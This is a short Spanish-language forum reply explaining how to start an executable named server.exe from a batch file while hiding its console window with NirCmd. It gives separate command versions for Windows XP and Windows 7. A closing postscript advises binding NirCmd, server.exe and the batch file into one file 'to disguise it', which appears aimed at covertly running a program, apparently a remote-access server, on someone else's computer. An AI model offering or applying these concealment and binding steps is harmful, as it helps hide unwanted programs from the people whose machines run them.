NO SE PUEDE CON BATCHno puedes evitar la ventana de la consola, ni la del server (Si es que diera error), a menos que te ayudes de otros programas como te han dicho... o un simple VBS, o
Nircmd, o ExeScript, en fin hay muchas utilidades...
Pero además de eso, hay otra complicación, dependiendo de si la PC es windows XP o WINDOWS 7, el comando START actua de forma distinta, y las comillas dobles se usan en windows 7 de una manera distinta a windows xp, sino dará error, así que te hago 2 versiones:
http://www.nirsoft.net/utils/nircmd.zip:Windows 7
Nircmd win hide ititle "hide me"
Start /B .\"carpeta\server.exe"
Nircmd win hide "server.exe"
:Windows XP
Nircmd win hide ititle "hide me"
Start /B ".\carpeta\server.exe"
Nircmd win hide "server.exe"
PD: Por si no ha quedado claro, te dejo otro ejemplo:
Windows XP: Start /B "C:\program files (x86)\electro\hacker.exe"
Windows7: Start /B C:\program" files (x86)\electro\hacker.exe"
PD2: Puedes bindear
Nircmd + server.exe + Tu.bat en un único archivo para disimularlo.
Saludos.
Elektro hacker.